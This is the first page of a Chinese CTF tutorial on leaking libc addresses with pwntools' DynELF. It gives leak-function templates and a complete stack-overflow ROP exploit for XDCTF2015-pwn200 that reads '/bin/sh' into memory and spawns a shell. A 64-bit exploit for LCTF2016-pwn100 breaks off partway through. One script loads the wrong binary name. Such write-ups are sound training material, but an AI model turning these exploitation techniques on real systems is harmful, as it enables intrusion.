Loading
0

借助DynELF实现无libc的漏洞利用小结

buf += c
up = c
data = buf[:4]  #取指定字节数
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
(2)puts输出完后还有其他输出,在这种情况下的leak函数可以这么写。
def leak(address):
count = 0
data = ""
payload = xxx
p.send(payload)
print p.recvuntil("xxx\n")) #一定要在puts前释放完输出
up = ""
while True:
c = p.recv(1)
count += 1
if up == '\n' and c == "x":  #一定要找到泄漏信息的字符串特征
data = buf[:-1]
data += "\x00"
break
else:
buf += c
up = c
data = buf[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
其他需要注意的地址
在信息泄露过程中,由于循环制造溢出,故可能会导致栈结构发生不可预料的变化,可以尝试调用目标二进制程序的_start函数来重新开始程序以恢复栈。
XDCTF2015-pwn200
本题是32位linux下的二进制程序,无cookie,存在很明显的栈溢出漏洞,且可以循环泄露,符合我们使用DynELF的条件。具体的栈溢出位置等调试过程就不细说了,只简要说一下借助DynELF实现利用的要点:
1)调用write函数来泄露地址信息,比较方便;
2)32位linux下可以通过布置栈空间来构造函数参数,不用找gadget,比较方便;
3)在泄露完函数地址后,需要重新调用一下_start函数,用以恢复栈;
4)在实际调用system前,需要通过三次pop操作来将栈指针指向systemAddress,可以使用ropper或ROPgadget来完成。
接下来就直接给出利用代码。
from pwn import *
import binascii
p = process("./xdctf-pwn200")
elf = ELF("./xdctf-pwn200")
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']
vulnaddress =  0x08048484
startaddress = 0x080483d0      #调用start函数,用以恢复栈
bssaddress =   0x0804a020    #用来写入“/bin/sh\0”字符串
def leak(address):
payload = "A" * 112
payload += p32(writeplt)
payload += p32(vulnaddress)
payload += p32(1)
payload += p32(address)
payload += p32(4)
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc")
print "systemAddress:", hex(systemAddress)
#调用_start函数,恢复栈
payload1 = "A" * 112
payload1 += p32(startaddress)
p.send(payload1)
print p.recv()
ppprAddress = 0x0804856c  #获取到的连续3次pop操作的gadget的地址
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8)
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1)
p.send('/bin/sh\0')
p.interactive()
LCTF2016-pwn100
本题是64位linux下的二进制程序,无cookie,也存在很明显的栈溢出漏洞,且可以循环泄露,符合我们使用DynELF的条件,但和上一题相比,存在两处差异:
1)64位linux下的函数需要通过rop链将参数传入寄存器,而不是依靠栈布局;
2)puts函数与write函数不同,不能指定输出字符串的长度。
根据上文给出的解决方法,构造利用脚本如下。
from pwn import *
import binascii
p = process("./pwn100")
elf = ELF("./pwn100")
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']
mainaddress =   0x4006b8
startaddress =   0x400550
poprdi =     0x400763
pop6address  =  0x40075a
movcalladdress = 0x400740
waddress =     0x601000 #可写的地址,bss段地址在我这里好像不行,所以选了一个别的地址,应该只要不是readonly的地址都可以
def leak(address):
count = 0
data = ''
payload = "A" * 64 + "A" * 8
payload += p64(poprdi) + p64(address)
payload += p64(putsplt)
payload += p64(startaddress)
payload = payload.ljust(200, "B")
p.send(payload)
print p.recvuntil('bye~\n')
up = ""
while True:
c = p.recv(numb=1, timeout=0.5)

分页阅读: 1 2 3 4
【声明】:8090安全小组门户(https://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们:邮箱hack@ddos.kim,我们会在最短的时间内进行处理。